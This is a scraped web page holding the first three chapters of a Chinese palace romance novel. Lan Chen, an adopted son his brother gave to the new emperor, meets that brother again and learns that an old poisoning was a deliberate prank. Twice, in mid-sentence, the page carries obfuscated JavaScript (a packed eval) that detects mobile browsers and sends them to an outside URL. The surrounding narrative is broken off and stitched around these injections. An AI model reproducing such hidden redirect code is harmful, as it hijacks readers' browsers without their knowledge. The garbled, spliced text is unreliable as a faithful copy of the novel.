《他的陛下》 1. 第 1 章 兰沉身为名门望族的养子,因身世在家族寸步难行,幸得兄长兰玉阶悉心照料多年长大,在外人眼中他被兄长视若珍宝,会调侃兄长恨不得爱惜他一辈子,他信以为真。直到兄长的身边出现了一位男子,听闻才藻艳逸,是位不可多得之人。 后来,兰沉被兄长献给新帝燕赫,侍寝当晚,他心灰意冷躺在龙榻承欢时,恳请陛下了结自己。 ...... 两年后,临近年关风雪交加,时逢各地官吏陆续上京述职,政绩若得青睐者留京上任,听闻其中便有兰氏中人。 金陵城宫阙银装素裹,待雪停时宫道的扫帚声不断,随着一抹牙白的身影走过,宫人皆停下手中动作,恭恭敬敬朝那人唤一声:“兰公子。” 此人正是兰氏亲献给新帝的养子兰沉,他身姿修长,气质淡雅,神情清俊疏离,冬日暖阳将他的皮肤映得白皙,清冷的气息裹满他的四周,琥珀的瞳孔如深潭,明亮却寒凉,一袭宽袖白袍行于深冬中美不可方物,宛如一株含苞待放的兰花。 可如此俊雅不可多得之人,听闻入宫两年里,依旧未得陛下留宿寝殿,连封号也未曾得到。 兰沉寻着行礼声淡淡扫过众人,微微颔首,继续迎着寒风往宫门的方向缓步而行。 今日他受邀前去赴宴,衣着素雅单薄,显得更为高挑清瘦,他面色平静无波,似乎并不在意即将面对的人和事。 然而,当马车停在宴席的茶楼前,他目睹那抹身着官袍的身影迎来时,脚步霎时顿住,立在原地目睹来人靠近。 对方先一步朝兰沉喊了声表字:“云泽。” 温柔儒雅的声色,和兰沉记忆中的别无二致,甚至比从前更添两分沉稳,有那么一刻,将他的思绪拉回从前,这声音中仿佛包含无限珍重,久而久之,令他为此沉沦忘我。 不告而别的两年后,这是他和兄长兰玉阶第一次见面。 过去他曾想过,若此生有机会再见兰玉阶,他的心情会如何,是否如当年得知被利用后感到的不甘、怨恨,想找人质问却无人可答时的痛苦。 他以为,再见会带着如此心情去求一个答案。 可此时此刻,他的心似乎比想象中的更平静。 两年了,有些东西似乎发生了变化,好比那个痛不欲生的他,从提着兰氏家奴头颅进宫之后,慢慢血洗了他对兰玉阶的不舍。 在走向对方的间隙,兰沉收回打量的目光。 按照辈分他应当行礼,所以略微欠身回应,欲言又止间,喉咙却微微哽住了,似有东西堵着,叫他难以发声。当年因兄长不慎,导致他意外饮毒,那毒茶灼烧得他险些失去了嗓子,接连卧床多日,至今仍然落下旧疾。 模糊的记忆逐渐被找回,原来他还记得,只是随入宫这两年的时光而流逝了。 兰玉阶察觉他的异样,打算走近些询问一二。 突然被兰沉的回答止住脚步:“好久不见,兄长。” 一声久违的称呼,兰玉阶等了两年。再次从兰沉嘴里听见,仿佛回到两人亲密无间时,让他忍不住想靠近,可他伸出手,想要将对方扶起,兰沉只是下意识躲开了。 虽然闪避的幅度并不大,但兰玉阶捕捉到了此举,掌心轻微僵了僵,悬停片刻后很自然收住双手,以颔首回礼。 他心中有些不适,当初连睡觉都不肯撒手的粘人弟弟,如今怎会变成这幅样子? 明明已经锦衣玉食,却还总是一副饱受委屈的样子,只怪自己当年惯坏了他,果真是孩子心性。 兰沉偏了偏头,恰好余光瞥见随行出宫的太监,只见太监赶来,从袖中取出一只瓷盒,捧给兰沉:“兰公子,陛下嘱咐,公子有喉疾在身,若察觉不适,便让公子含下梨膏糖润喉。” 闻言,兰沉习以为常接过,反观兰玉阶微微一愣,眼眸中满是不解。 他打听过兰沉的处境,确实如传闻所言那般,燕赫性子阴晴不定,行事叫人琢磨不透,人人惧怕,平日除了召兰沉侍寝外从不多言。今日一见,却似乎并非如此。 他的视线落在那颗糖上,眼底意味不明,关心询问:“嗓子的旧疾可还复发?” 他说话时气息放轻,像长辈关心受伤的晚辈一般,只有慈善和担忧,竟叫人听不出一丝愧疚。 兰沉刚含上梨膏糖,抬眼看去,见他神情除了关切并无其他。 细细想来也不奇怪,毕竟如今兰玉阶已是兰氏家主,官途顺遂,出生名门望族,此次述职又得陛下青眼,算得上能呼风唤雨的佼佼者,断不会如上学时那般反省自己过错。 此刻的举动在这等身份的加持下,无异于施舍罢了。 兰沉沉吟少顷,藏在袖中的指尖一动,压住想抚向脖颈的动作:“无碍,不大吼大叫便可。” 兰玉阶温声笑道:“正好为兄在家中寻到些珍品给你补补。”说话间,他身边的小厮连忙从马车里取出一锦盒。 “兄长。”兰沉突然唤他,朝小厮看了眼,止住了对方要上前相送的动作,他不想和兰玉阶再有纠缠,随便寻了个理由续道,“陛下御赐不少珍品,兄长不必客气。” 兰玉阶闻言沉默少顷,思索方才太监的殷勤,也发现兰沉的刻意疏离。 盛满柔光的眼底闪过一抹异色,总觉得弟弟性情大变,这让他下意识抬眸看向皇城的方向,怀疑兰沉是否还在为当初送进宫的小事置气。 思及此他颇为无奈,不由摆出作为兄长的气势,只是无人在意。 兄弟二人忽地变得沉默不语,气氛略显怪异。 终于,兰沉打破沉默,转而问道:“兄长今日的述职可还顺利?” 提到述职,兰玉阶不由想起明堂上那位九五至尊,臣民不可直视天子,但天子威压却叫人无法忽视,回想起来略感胆战心惊。 不过述职还是大获成功,兰玉阶并无隐瞒,遂温声说道:“一切顺利......”他话语一顿,又才接着说:“陛下允了我留京。” 兰沉听闻此言眼帘微动,想到和他同处金陵城的过往,心头涌上一阵难以言喻的情绪,记起来时听太监提到他已升迁六部之首,往后会有家人在京中陪着自己,原来竟是这个意思。 可是,兰玉阶还是家人吗? 思来想去,兰沉能记住的家人,似乎只有兰氏那位永远能保持乐观的长姐了。 他敛起思绪回道:“恭贺兄长高升,想必长姐得知此事定会宽慰。” 兰玉阶神色顿了顿,眼底的复杂一闪而过,并未接话。 为把话题转开,他朝阁楼的方向看了眼,回想起兰沉从前最爱和自己赴宴,整日绕在脚边一刻不曾离去,想必今日有自己陪着他也会开心些。 他看着兰沉温声笑道:“今日述职后偶遇从前的同窗,一时兴起便在此设宴招待好友,为兄想起其中不少人与你曾是旧识,便向陛下请旨邀你前来。” 兰沉顺着他的目光朝热闹之处看去,阁楼四周落了厚重的帷幕御寒,但能在来往人群掀起时窥见其中一二,似乎确有曾几抹略为熟悉的身影,只是他其实已经不记得他们姓名。 毕竟以前无人愿与自己作伴,众人都喜欢搬弄身世捧高踩低。当年他与这些人不过虚与委蛇,私下只能黏着兰玉阶,企图找到一点安全感,可惜现在都不需要了。 靠人人跑,靠山山倒,如今他不需要把安全感寄托在谁的身上。 他敛起思绪,在兰玉阶的话中回了一抹淡笑,“那便有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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那时兰沉害怕兄长对自己失望,恨不得悬梁刺股,可当两份几乎同样的考卷出现在学堂时,在夫子的震怒之下,他百口莫辩,只知此事和兄长的那位白月光莫名有所牵连。兰沉当初为自证清白,不惜以死相逼让兄长相信自己,结果却落得声名狼藉,险些被扫地出门。 此事被兰氏视作丑闻,他被罚闭关,那时备考紧张众人无暇顾及,因此导致他错失上京赶考的机会。 最后放榜之人中,也有那位他素未谋面,却常听兄长夸赞的白月光莫桑与。 这些也曾被他强制忘却的回忆,如今被勾起时,原来能一闪而过。 兰沉巡睃面前众人,其中不少是当年一起求学的同窗,往事如跑马灯从心中走过,虽无法掀起波澜,却叫人感到沉闷。 他噙着浅笑和上前的几人寒暄了两句,却只想摆脱背后那只手,他不想再留在这里。 不出片刻,宴席恢复了热闹,兰玉阶朝自己身旁空出的坐席看去,示意那是落座的位置,兰沉顺势摆脱身后的手掌,迅速侧身拉开距离,抿唇一笑,抬脚往圈椅的方向走去。 兰玉阶欲陪同的动作一顿,温和的眼底掠过一抹无奈,随后将手掌收回,试图握住残余的温度。 席间很快有人举杯邀大家共饮,紧接着,对兰玉阶的恭贺声也随之响起。 兰沉在一侧沉默品茗,仿佛隐匿在热闹之中,更不必如从前那般陪着兰玉阶酬酢。 他抬眸看了眼兰玉阶身边举杯陪笑之人,那正是莫桑与。 然而如此温馨的一幕,莫桑与脸上的疲惫却显得格格不入。 这让兰沉有些不解,毕竟当年兰玉阶曾言志向天子近臣时,听闻莫桑与立志要在他身侧辅佐共事,为他解忧。 如今莫桑与也称得上圆梦,能和兰玉阶形影不离互相扶持,为何脸上却挂着淡淡忧愁? 2. 第 2 章 兰沉收回目光时心想,无论如何,这群表里不一的人做任何事情都与自己无关。 时过境迁,如今只要不触及他的利益,他不会在意分毫,眼下他不如安静品尝金陵城的美食,待宴席散去后径直回宫便是。 兰玉阶已和好友饮去一圈,余光瞧见旁边的兰沉默不作声,惟见桌上十余道美食中的两盘空了,其余食物荤素皆有,卖相精致,却不得兰沉半分青睐。 若是换作在兰府,他必然认为兰沉挑食,可如今兰沉身居皇宫数载,天下珍馐何不尝尽,又怎会瞧的上这平凡俗物。 兰玉阶搁置手中酒杯,将自己桌上的两道点心端起,叫了一个小厮送到兰沉桌上。 “若是喜欢,便多吃些。”他道,“这些虽比不上御膳,却有风味独特之处。” 兰沉望着好不容易吃完的两道点心又出现,胃里不免觉得有些撑,胸口反而一阵反胃,他有些强颜欢笑道:“劳烦兄长挂心。” 话虽如此,手中却只端茶轻抿,令新添的两盘点心显得有些多余。 兰玉阶见他不动吃的,也没有说什么,只是待他杯中的茶见底,抬手招来小厮添了新茶,特别吩咐去马车取锦盒中物泡茶。 正当他想和兰沉嘱咐锦盒宝物对嗓子有益,他们身侧忽见一抹身影疾速出现: “咦,这不是兰云泽吗?” 两人转头看去,见是一油头粉面的男子,相貌平平无奇,只是一身华服将他撑得颇显富态。 兰沉想了好一会儿,才记起此人上学时出了名的爱慕虚荣,名唤李锦司,曾和他们一同求学,总喜欢跟在兰玉阶身后鞍前马后,又常常和一群人明里暗里嘲讽戏弄自己,后面这位李公子不知因何缘故离开,有传闻称他和宫中权贵沾亲带故,一人得道鸡犬升天,上京享荣华富贵去了。 不论传闻真假与否,眼下看来,李锦司应当是过得相当不错的。 兰沉回道:“李少爷,许久未见。” 李锦司脸上的表情变得十分夸张,他适才席间喝了不少酒水,此时已有几分醉意,神色动作浮夸,右手搭上兰沉的肩膀,想将整个人都倚在他身上:“既然来了,为何不敬本少爷喝一杯?” 多年不见,此人依然如此喜欢出风头。 兰玉阶蹙了蹙眉头,却并未作声。 李锦司也是借醉发挥,他内心其实看不上兰沉,不仅因为兰沉是养子,还是他是帝王不受宠的面首,若受宠些,他倒能对兰沉高看几分,毕竟这位帝王不是谁都能猜得透的。 兰沉捕获到此人一闪而过的不屑,许多事情了然于胸,自打他出现后,席间有不少议论的声音,皆是有关帝王清心寡欲,对内宫面首爱答不理,尤其是他这种自视清高之人,榻上必定毫无生气,难怪不讨喜等等。 他不予理会,无非所言与事实相悖,在他看来,燕赫在床笫之事侵略性极强,尤其喜欢让他喘不过气才舍得松手,但诸如此类难宣于口。 李锦司调笑过后依旧想接近,但下一刻险些失去重心栽倒在地,原来兰沉借弯腰接过茶水的动作,顺势甩开他的手臂,抬肘举杯,自顾自道:“云泽以茶代酒,敬李少爷一杯。” 李锦司稳住踉跄的身子,听闻对方要敬酒,下意识扭头高喝小厮取来酒杯,然而未等小厮送到手上,他一回头,便瞧见兰沉已将茶水一饮而尽。 兰玉阶提着茶壶欲给他添水,但被兰沉避开了。 李锦司脸上有些挂不住:“云泽,多年不见,你怎么还是一副孤芳自赏的模样,这样敬酒的方式不对啊。” 兰沉看出他的意图,淡漠的眼神透出不加掩饰的厌倦,对视间,李锦司恍惚间生了一丝错觉,好像兰沉那双修长冰冷的手无声掐在咽酒的喉咙上。 “示范一遍。”兰沉说。 话落,周围诸多目光投了过来。 冷淡的四个字缓慢吐出,就像从天而降的命令,他毕竟是陛下的身边人,再不受宠,李锦司也只敢暗暗给下马威,此刻找茬的反而没了气势,顿在原地,鬼使神差捏起酒杯照做,艰涩地再喝了一遍。 兰沉目睹他喝完后,慢慢将酒杯递到兰玉阶面前,“水。” 兰玉阶身处高位多年,何曾被人使唤过,此情此景原本是要将茶壶交给小厮,却在兰沉漠然的神情里犹豫须臾,主动给他的酒杯添水,直到目睹着他喝完。 两人何其“兄友弟恭”,李锦司愕然,事已至此,只好诺诺。 气氛僵持间,兰玉阶自然而然开口续上方才没说完的话:“此物为兄已命大夫瞧过,对嗓子有养护之效。”兰玉阶将茶壶放下,瞥了眼锦盒,又望着兰沉近在眼前的面容,目光细细描过他低垂的眉眼,“平日你且当饮水那般喝下即可。” 兰沉垂眸望着那杯棕色的茶水,口中只觉苦涩,不欲再喝,反倒是想念起寝殿的梨膏糖了。 听到兰玉阶的话,李锦司再次开口,带着好奇调侃兰沉:“怎么?当年的毒竟治不好吗?” 话音一出,兰玉阶抬手将他拨开,嘴边的弧度收了些,温声斥道:“有些无理了。” 他的语气就像在训斥下人,换作平日李锦司会选择顺从,但此刻他刚在兰沉面前丢了颜面,心有不甘,因此装出一副惊诧的神情:“隽寒,这么多年了,下毒的乌龙你怎么还没告诉云泽。” 兰沉一怔,皱了皱眉,但并未着急追问,只是看向兰玉阶——隽寒是兄长的表字。 兰玉阶却只是面不改色和他对视,温柔道:“小事一桩,不必再提,李少爷这是醉了。” 说话间,他偏头给小厮递了个眼神,示意将李锦司带走。 小厮快步上前,不料被李锦司一个闪身躲开,紧紧贴着兰玉阶的臂膀站着,无赖道:“我可没醉,这事儿你记不清也正常,毕竟是我们先斩后奏,但是后面我不都招了吗?” 说着他的目光巡睃在座众人,压低声续道:“何况,今日能在这的人,但凡是和我们当年一起上学的,皆晓得此事是为了你,你还瞒着云泽,多对不起兄弟们的好意。” 兰玉阶斜睨着他,抬手无情挥去后拉开距离,“既是乌龙,便无需再提起此事伤了云泽。” “无妨。”兰沉突然接着他的话道,“多年之事已成过去,何况如今我有所好转,不必介怀。” 话虽如此,实际的他沉疴未愈,连说话的声音都小上许多,也因此被宫人们私下调侃他病弱,每逢侍寝总经不起陛下折腾便消了声。 他一直以为,这个意外如兰玉阶当年所言,是误食了兄长给的东西相克所致,未料还藏着其他秘密在其中。 尤其听见李锦司嬉皮笑脸提起后,他心中迫切想知晓这场所谓的乌龙,为何能连他性命都不顾,只为了讨好兰玉阶。 兰玉阶看了眼两人,权衡一番后,再次看向兰沉时的眼底带了心疼,打算劝道:“云泽,为兄当年不说也是为你好。” 兰沉无视他目光中的情愫道:“兄长无需担心,我相信此事定与你无关。” 既如此,兰玉阶便没有继续阻拦的道理,随后示意小厮退下,神情温柔专注望着兰沉。 李锦司见驱赶自己的小厮离开后,整个人脱离禁锢,脸上又扬起了浮夸的神情,回想当年的设局,兴致勃勃靠近兰沉说道:“当年你夺走隽寒的茶杯,主动喝了里面的毒,是我和其余人悄悄下的,主要是想验证你对隽寒的真心罢了。” 话落,兰沉嘴角的笑一僵,眸色跟着沉下。 兰玉阶瞬间捕捉他的变化,立即上前一步,转身将兰沉挡在身后,用一种命令的口吻朝李锦司道:“够了,你且去包厢歇息吧。” “等等。”兰沉从他身后缓缓走出来,佯装平静询问李锦司,“你们当年如何断定我不会喝错?” 李锦司正想劝兰玉阶莫要大惊小怪,一听兰沉主动追问,兴奋笑道:“你可还记得我当年问你的话?” 兰沉怎会忘记,松开紧咬的牙关,一字一句回道:“记得。” 当年夫子谈起荀彧之死,他因夫子所言而陶醉其中,年少不懂收敛锋芒,当众感慨一番引得夫子夸赞。 怎料课后李锦司带着学堂几人闹哄哄过来,当时他的书桌挨着兰玉阶,李锦司将他们的书桌拼在一起,之后拿起兰玉阶的茶杯问他:“你如此喜爱你的兄长,若他的茶水有毒,你又可会为他饮下,救他一命?” 答案是必然的,所以他不假思索拿起茶杯欲一饮而尽。 当年兰玉阶从这群人的行为中察觉不妙,所以将二人的茶杯交换,警告李锦司等人莫要胡闹。 “不过你兄长千算万算,也没料到两杯都有毒吧。”李锦司仍旧一副玩笑的模样说道,“可惜不知谁人手抖,下毒没点分寸,给杯子抖多了点,险些让我们小云泽命丧黄泉了。” 他说得那样轻巧,像在阐述着一件无关要紧之事。 可他的一字一句皆让兰沉感到无比反胃,尤其看见李锦司以此为乐的样子时,他恨不得割了这人的头颅喂狗。 但他不能,天下脚下金陵城,此处又临近官衙,一旦有人报官状告他草菅人命,必然是少不了走一趟刑部。 时隔多年,他对于下毒一事毫无证据,即使有人证在场,但这些人何尝不是狼狈为奸,他区区一个无权无势的面首,又能如何出这口恶气? 兰沉紧握着袖下的双手,侧目看向身旁的兰玉阶,他看着这位从容不迫的兄长,胸腔里排山倒海的恶心一涌而上,如被异物堵着的喉咙瞬间被这口浊气冲破,他快速捂住嘴,紧接着几声重咳打破了宴席热闹。 “云泽!”兰玉阶率先转身将他扶着,脸上的温和被担忧打破,“这是怎么了?” 兰沉边咳边摇头,余光见小厮端起桌上的茶递了过来。 “砰——”茶杯碎落一地。 是兰沉挥落的,他下意识想退远,可兰玉阶还扶着自己,众人见状不妙,纷纷停下动作观望这边动静,只见他被围在数人中间,和每个人都保持着距离,根本无人能靠近。 兰沉咳了好一会儿,忍着被兰玉阶触碰后的难受,被迫掩嘴起身,深吸一口气平复内心,无视众人投来的目光,扯开被他扶着的手,倏地转脸道:“兄长,恕我身子不适,今日便不奉陪了。” 他咳嗽后的声音略带沙哑,语气十分坚定叫人不容拒绝。 兰玉阶不悦睨了眼李锦司,眼底虽无责备,但明面上少了客气,看得李锦司心里发虚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730309|157270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出片刻马车便准备好了,兰沉没有丝毫逗留离开了宴席。 当长街的寒风迎面扑来时,他微微昂首吸了口新鲜的冷风,寒气驱散脑海里的混乱,让他得以冷静的同时也忍不住打了个寒噤。 马蹄声渐近,兰沉寻声望去,神色蓦地一顿,发现这马车和自己来时所乘略有不同,唯独那随行的侍卫却并未改变。 未等他细想,身后的踩雪声打断了他的思绪。 他回身看去,瞧见兰玉阶拿着锦盒快步走来,身边还跟着莫桑与和李锦司。 兰沉眼底闪过一丝厌烦,只觉今日的见面毫无意义,尤其想到宴席时所闻,更叫他莫名打一身寒颤,下意识抬手抱了抱臂膀,看着他们的靠近退后两步。 见状,兰玉阶的视线率先落在他的身上,仔细端详后才发现他未披大氅出门,以为他今日匆忙赶来和自己相见,一股暖流自心里淌过,连忙解下身上的大氅,快速上前朝兰沉披上。 兰沉走神间察觉有人靠近,等他发现是兰玉阶后为时已晚,温暖的大氅已然将自己包裹,瞬间驱赶了衣袍上的寒气。 兰沉神情一愣,紧随其后发现摆脱不了时汗毛直竖,鼻息被一缕浅淡香气占据,让他忘了拒绝。 这味道他再熟悉不过,是兰氏酿制的香,唯有兰玉阶房中常有。 他垂下眼帘,鼻尖萦绕着淡淡香味,看着身披的墨蓝氅衣,仿佛回到兰府与兄长形影不离的日子,那时候他会在兄长夜半未归时,抱着兄长榻上的被褥,嗅着这个香味,蜷缩在偌大的床榻里等着兄长回来。 等他被吵醒之际,昏昏欲睡中发现了兄长的身影后,会下意识寻着兄长的怀里钻进去,等不安消弭方才酣睡。 而他关心的从来都是兄长是否回来,只要还在便足够,也正因如此,他才会忽略了兄长身上酴醾香被另一种气息取而代之。 若他早些发现,是否就能早些明白有另一人的存在? 如果那时能看清他们的真面目,撑着眼皮苦等的夜晚可会少一些,被抛弃后带来的痛苦又可会有所减少? 兰沉的鼻尖突然一酸,为曾经年少无知的自己感到不值。 兰玉阶见他走神,以为他被冻着了,便伸手握住他的肩膀,意外发现他不似从前瘦削了,感到宽慰的同时,猜想是兰沉离开了自己后没法挑食,身在皇宫身不由己无法挑剔,这才能将身子养好。 随着两人之间的距离的拉近,兰玉阶自认他们之间的拘束在消失,仿佛回到他们在兰府旧时,遂轻叹一声道:“李锦司虽无礼,但你也切莫计较,你长大了,过去的小事何必计较,若你在陛下这般闹性子,岂非连累家人?” 他看了眼兰沉身后的马车,知晓他决心要走,认真叮嘱道:“下回出来相见时也别毛毛躁躁的,记得把大氅穿好,为兄会和从前那般一直等你的。” 话落,兰沉缓缓抬首朝他看去,在他温柔的眼眸中看到了自己的脸颊。 这样满眸深情,专心致志望着自己的兰玉阶,是当年他梦寐以求,却求而不得的,明明现在兰玉阶什么都没做,他却感到万分痛苦。 他浑身发冷如坠入冰窟之中,瞬间置身在两年前的那场雪夜,送他上京的兰氏家奴嘴里的取笑犹在耳畔,他们嘲笑自己对兄长的痴心妄想,辱骂他只是兰氏养的工具,称他的学识靠偷取而来,将他贬得一文不值,笑他沦为令人耻笑的面首玩物。 偏偏这一切落在兰玉阶口中,全部变作长大了何必计较,而他曾经最需要的,无助时最奢望听见关心的话,如今也轻而易举听到了。 如此随意的言语,他从前竟掏心掏肺去索取,最后却落得遍体鳞伤,连活都活不下去。 兰沉心中痛苦更甚,兰玉阶握着他肩膀的手并未施力,却将他压得喘不上气了,让他眉梢慢慢蹙起,一股恶寒突然涌上胸口,呛得他再次掩嘴咳嗽,快速后撤数步,挣脱了兰玉阶。 “云泽。”兰玉阶未料他不适,想上前察看,却见兰沉越退越远。 两人的距离再一次被拉开,寒风卷起脚边的飞雪,他们之间霎时间被蒙上一层白纱。 若隐若现,相隔甚远。 兰沉不断克制自己心底翻滚的情绪,却无法阻挡在他对视上兰玉阶的眼眸时,那阵自心底涌上的麻木酸楚,逐渐包裹着全身,令他凝滞顷刻,才算拼凑回过往点滴,找回对此人的厌恶。 他平静的心头不由颤动,前事紧跟着向他蜂拥而至,也逼着他再度交错在当年的记忆里。 他看着兰玉阶和围绕在四周的风雪,遥想被此人亲手献给新帝的那日,也如此时这般风雪交加,只是相比眼下的冷静,那晚的自己,多的何止是撕心裂肺。 明明被背叛,被利用,被羞辱,都是面前这个男人所给的,为何这个人还能风光无限出现在面前,满嘴漂亮的话,淡定地对他说教。 兰沉借着漫天飞雪掩藏自己眼底的恶心,找了个理由说道:“风雪势大,兄长回吧,今夜我还需侍寝。” 他这么说本是为了划清界线,让兰玉阶意识到现在两人身份的不同,即便他们同为兰氏名义上的亲人,也该因为帝王的面首身份而避嫌才是。 怎料此言一出,却把兰玉阶激怒。 3. 第 3 章 只见他穿过雪幕,行至兰沉的面前,仍旧是一副端方君子的模样,但却难掩眉宇间的凝重,沉声说道:“云泽,今日一见,为兄还有一事想问。” 兰沉已无耐心周旋,一来适才咳嗽后喉咙不适,二来心中烦躁想趁早结束,语气冷淡道:“兄长且说。” 许是他的声音较轻,又有风声刮耳,实难辨出他语气的变化,才未致兰玉阶怀疑。 兰玉阶有意低声,似不愿将此事告知第三人,“可否许为兄三月期限,来日将你接回身边,从此必不会让你忍辱负重。” 突如其来的承诺让兰沉为之震惊,他不解兰玉阶为何敢对面首这般狂言,如今他已入深宫,岂能冒杀头之罪随意离去,何况今非昔比,他从前的确渴求这样的承诺,可眼下他只觉得无言以对。 四周一时间陷入了静默之中,料峭寒风自两人间呼啸穿过,冷风如刀,刮得兰沉双耳通红。 沉默许久后,兰玉阶见他不语也逐渐冷静下来,似乎这样的局面在他预料之中,对此只能无奈一笑。 他上前把锦盒塞在兰沉的怀里,对适才在宴席所发生之事更是只字不提,垂眼看着被兰沉抱着的锦盒道:“此物是为兄从渝州带来,你若喜欢,为兄日后与你回家瞧瞧。” 兰沉听闻后,低头看了眼锦盒,回想方才宴席喝的那杯茶水,想必是用此物所泡,他不免咽了咽喉咙,只觉唇齿间留下的苦涩被放大,让他实在不欲再尝,更不想依兰玉阶话中之意回渝州兰府。 他有些疲惫,抬首朝兰玉阶扯了扯嘴角,委婉拒绝道:“兄长,若有需要,不如劳烦长姐送上京岂非更好,我记得长姐自出嫁后便不曾上京游玩了。” 此言一出,兰玉阶的神色又见顿住。 恰好这抹异样被兰沉捕捉到,他心中忽觉古怪,长姐是兰府众多晚辈里唯一和自己有血缘之人,但两人年龄相差较大,他入府后又常被排挤,总是自卑躲在兰玉阶身后,因身份有别和长姐极少往来,关系远不如和兰玉阶那般亲密,直到家主让他为长姐送嫁,才告知他们两人竟是亲生姐弟,这也让他自责多年不与长姐亲近,时常想起都感到愧疚。 如今见兰玉阶神色,实在疑惑他为何有这般神情,似乎还露出一丝稀罕的心虚。 他思索间心头生了丝不安,欲询问有关长姐的近况时,一旁的李锦司竟率先发出莫名的轻笑。 兰沉本对他存了芥蒂,闻声偏头看去,只见李锦司意味深长瞥了眼兰玉阶,摸了摸鼻子后道:“云泽说的是阿箬姐吧。” 兰玉阶见他开口,温和的声音里略带冰冷打断道:“李锦司,这里没你的事了。” 奈何李锦司是喝了酒的人,眼下还带着两分醉意,话既说出口,便没有不落地的道理。 “我自有分寸!”李锦司不满地摆了摆手,此刻也没了对他的忌惮,竖着手指往兰沉靠近些,带醉的双眸布满得意,“阿箬姐她......这辈子都没机会上京咯。” 话音刚落,兰沉倏地觑向兰玉阶,蹙眉质问道:“他所言何意?” 此时的莫桑与闻言脸色微变,动作迅疾拽着李锦司往后退,神情凝重看着不远处两人。 兰沉瞥了眼醉醺醺的李锦司,不禁回想起在兰府被人嫌弃的过去,如今看来,竟只有这位相交甚少的长姐真心待他。 见李锦司放声大笑,兰沉更笃定他并非玩笑,心底的不安愈发强烈。 “兰玉阶。”兰沉收回目光冷冷道,“他所言到底何意?” 他直呼大名的态度让众人脸色微变,知晓兰沉动怒却有不解,旁人或许不知他和长姐关系,可兰玉阶岂会不知,若长姐出事,兰沉作为姐弟怎能袖手旁观? 他们站在雪地里良久,终于见兰玉阶呵出一口气,白雾自眼前散去后才听见他道:“长姐生下孩子后,身子一直不适,待她调理好,为兄自会将她送上京与你团聚。” 话落少顷,才见兰沉松了口气,他半信半疑凝视着这群人,眼底的怒意渐渐散去,燃去仅剩的一丝耐心,最终垂下眼帘行礼,敛起刚才的气焰,轻声道:“既然如此,不必相送了,告辞。” 他离开的态度坚决而冷淡,和今日初见时那般,兰玉阶用余光扫了李锦司一眼,似是怪罪他破坏众人的心情,再看向兰沉时,他眼底思绪变作复杂,似乎有许多话未曾说开,却又找不到更好的方式张口,只能同意他离去。 兰沉朝这群人投去视线,眼底毫无波澜,心中却有着万般困惑未解。 无论是李锦司所言有关长姐之事,亦或陈年旧事,没有一件能让他带着轻松离开,他难得平静的日子,似乎又因为兰玉阶的出现而受到影响了。 尤其兰玉阶此刻还站在面前,更叫他从下毒一事中恍然明白,无论始作俑者如何嚣张,也少不了兰玉阶的包庇。 当年莫桑与被人嘲弄空有一副皮囊而无才时,兰玉阶能毫不留情将那人驱赶渝州,回看下毒谋害之事,兰玉阶作为兄长却坐视不管,偏又遇长姐近况不明,他一副高高挂起的模样,尽叫人生疑。 思及此,兰沉乜斜一眼李锦司,此人从前时常为兰玉阶办事善后,必定知晓不少秘密,他决定寻机找李锦司问个明白,随后转身上马车。 谁料见他脚步顿住,打量着眼前这架来路不明的马车,心底生起警惕,对这架变了模样的马车起疑心,但奇怪的是,随行出宫的侍卫却还是同一人,踌躇间,他碍于身后灼热的目光有靠近之意,只能硬着头皮上了马车。 兰玉阶目视着他的背影消失,忽地眉梢拧起,后知后觉这马车不妥,立即拔腿便要阻止,不料车夫挥鞭起驾快速离开。 他不仅无法拦住马车,更无法窥见兰沉因颠簸而跌入另一人怀中。 兰沉满脸惊诧,等不及马车行驶平缓,连忙从那人怀中抽身撇清关系,脸上的平静也被突如其来的意外打破,手忙脚乱和面前人拉开距离,抬眼间,一张冷俊阴鸷的脸庞出现在眼底。 他心头一紧,此前所有的烦闷被惊散,顾不上整理仪容立刻行礼,“微臣参见陛下。” 在掀开车帘前,他想过无数可能,有刺杀,有埋伏,唯独没想过有燕赫。 而且,据他所知,燕赫不喜外出,时常把自己闷在太极殿直至深夜才去寝殿,眼下突然来坊间作甚?方才他与兰玉阶等人所言燕赫又听见了多少? 他不敢多想,更不会冒然瞎猜,只能静观其变。 “起来吧。”寥寥数字辨不出帝王任何情绪。 燕赫低沉的声音里夹着淡漠,激得兰沉头皮发麻,车厢内虽温暖,气压却低得可怕,仿佛置身在潮湿燥热的雨林中,让人坐立不安,更叫人难以揣摩这位帝王此时所想。 余光中他能看到燕赫身着金丝暗纹黑袍,漫不经心斜倚在坐席,长腿无处安放,十分随意翘在一侧,姿势慵懒却霸道,不知因何缘故,他的乌发比常人的更短些,为这张脸添了两分野性,仿佛暗中盘旋的毒蛇,这份诡异的危险也让车厢显得拥挤。 正当兰沉听命欲起身时,疾驰的马车竟再起颠簸,他心道不好间余光快速扫过四周,准备寻一处位置给自己方便倒下时,手腕忽地被一道力气锁住,不费吹灰之力把他扣紧,猛地往前一拽,他眼睁睁看着自己跌回燕赫的怀抱。 一阵清淡的龙涎香弥漫鼻息,他的手腕被燕赫握着,另一只手慌忙间扶着燕赫的臂膀,脸颊贴着对方□□的胸膛,虽隔着衣袍,却还是能感受到温暖。 待马车行驶出一段距离后总算平稳了,兰沉连忙从他怀里再度离开,生怕因为冒犯而触怒龙颜。 奈何他适才倒下的姿势别扭,又僵持了许久,起身寻座位时有些腿酸,扶着燕赫臂膀的手不由加重借力,才使得自己站稳后在一侧坐下,抓着燕赫的双手也顺势松开了。 